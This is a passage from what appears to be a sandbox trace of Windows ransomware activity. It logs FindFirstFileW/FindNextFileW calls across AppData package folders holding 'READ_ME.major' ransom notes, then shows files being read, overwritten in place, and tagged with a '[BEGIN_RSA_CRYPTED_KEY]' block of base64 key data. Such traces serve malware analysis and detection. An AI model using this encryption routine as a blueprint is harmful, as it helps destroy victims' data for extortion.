ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7544fabf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0200.237] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb980 [0200.238] FindNextFileW (in: hFindFile=0x30fb980, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.238] FindNextFileW (in: hFindFile=0x30fb980, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.238] FindNextFileW (in: hFindFile=0x30fb980, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.238] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb9c0 [0200.238] FindNextFileW (in: hFindFile=0x30fb9c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.238] FindNextFileW (in: hFindFile=0x30fb9c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.238] FindNextFileW (in: hFindFile=0x30fb9c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.238] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb840 [0200.239] FindNextFileW (in: hFindFile=0x30fb840, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.239] FindNextFileW (in: hFindFile=0x30fb840, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.239] FindNextFileW (in: hFindFile=0x30fb840, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.239] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbe40 [0200.239] FindNextFileW (in: hFindFile=0x30fbe40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.239] FindNextFileW (in: hFindFile=0x30fbe40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.239] FindNextFileW (in: hFindFile=0x30fbe40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.239] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbf00 [0200.239] FindNextFileW (in: hFindFile=0x30fbf00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.239] FindNextFileW (in: hFindFile=0x30fbf00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.240] FindNextFileW (in: hFindFile=0x30fbf00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x75403601, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0200.240] FindNextFileW (in: hFindFile=0x30fbf00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0200.240] FindNextFileW (in: hFindFile=0x30fbf00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0200.240] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.240] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0200.240] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1118 [0200.241] GetFileSizeEx (in: hFile=0x1118, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0200.241] ReadFile (in: hFile=0x1118, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.266] SetFilePointer (in: hFile=0x1118, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.266] WriteFile (in: hFile=0x1118, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0200.267] SetFilePointer (in: hFile=0x1118, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0200.267] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.267] WriteFile (in: hFile=0x1118, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.267] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NyNuBMqYcxt6YYDEO6b2WX6KVQcey9WPVLihZAE6F6jT2HSlcP2QXM4BGufI5Sv6\nWuBXgagOFKb2r5VvLTlB3AcV0rKTEkIoewXDETR9HuT+sQhlXIEEkaCuYif7CKfn\n6UC05RGtHg7Cr0GFUmdB8benFqkP7SNQ8sa+uqcIRJpSDBemBozwFgo56VwVN+Fm\nmJaouamVLI556kevrns3WGag8HhZ4eyvZNmyE6kF0rE3ThmAmYguQsvGRUGLnTDg\ndrtO4m7CM0SYDitoG56G7I3sayJKn0FmX76w8/ljFZhPc8xFPRoOgeGgim6pjond\n/2Bi4gvhJKCBJwoNMYCvQg==\n", pcchString=0x2e3f9a8) returned 1 [0200.268] WriteFile (in: hFile=0x1118, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.268] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.268] WriteFile (in: hFile=0x1118, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.268] CloseHandle (hObject=0x1118) returned 1 [0200.271] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0200.271] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0200.272] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.modalsharepickerhost_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1118 [0200.272] GetFileSizeEx (in: hFile=0x1118, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0200.273] ReadFile (in: hFile=0x1118, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.273] SetFilePointer (in: hFile=0x1118, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.273] WriteFile (in: hFile=0x1118, lpBuffer=0x59d250*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.273] SetFilePointer (in: hFile=0x1118, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.273] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.273] WriteFile (in: hFile=0x1118, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.274] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.274] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.274] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.274] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Gm8HrZ84NNZ+qgAEPY0quGA6dvjOeQ1+wYR3AyNrieydvdpj2q24yfp+o1SoNV4g\nCr+QXiY7VgiIGTJCETEfDTzn/Zqzchomf1IMov43b3uLo9J9iGF78AUogOAu1tqx\nF+6JnrYScI4paOR1mmH5ba3Xa9rscNG5TM9atGIsnQagfA3JHQ7ZuaIoPLjRPa21\nD8cyfcUVg7dB4TuF4IdSAN/UIEeeJcuCuSSqxL9QYa3lup7fHlNj70DloJFm9XKN\nJ0NlvUtg8qWmKOoxKcxfgquM/7XEU61Dc8+70CdHp46+dob8Jy5MyxZb4yFdZ1rI\nvAUKplRQn70i5l0h5iIuiw==\n", pcchString=0x2e3f9a8) returned 1 [0200.274] WriteFile (in: hFile=0x1118, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.275] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.275] WriteFile (in: hFile=0x1118, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.275] CloseHandle (hObject=0x1118) returned 1 [0200.276] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fba00 [0200.277] FindNextFileW (in: hFindFile=0x30fba00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3099c9a8, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.277] FindNextFileW (in: hFindFile=0x30fba00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x309c2c4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.277] FindNextFileW (in: hFindFile=0x30fba00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3099c9a8, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3099c9a8, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x309c2c4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.277] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x309c2c4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fba80 [0200.277] FindNextFileW (in: hFindFile=0x30fba80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75403601, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75403601, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x309c2c4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.277] FindNextFileW (in: hFindFile=0x30fba80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x309c2c4a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x309c2c4a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x309c2c4a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.277] FindNextFileW (in: hFindFile=0x30fba80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x309c2c4a, ftCreationTime.dwHighDateTime=0x1d50249, 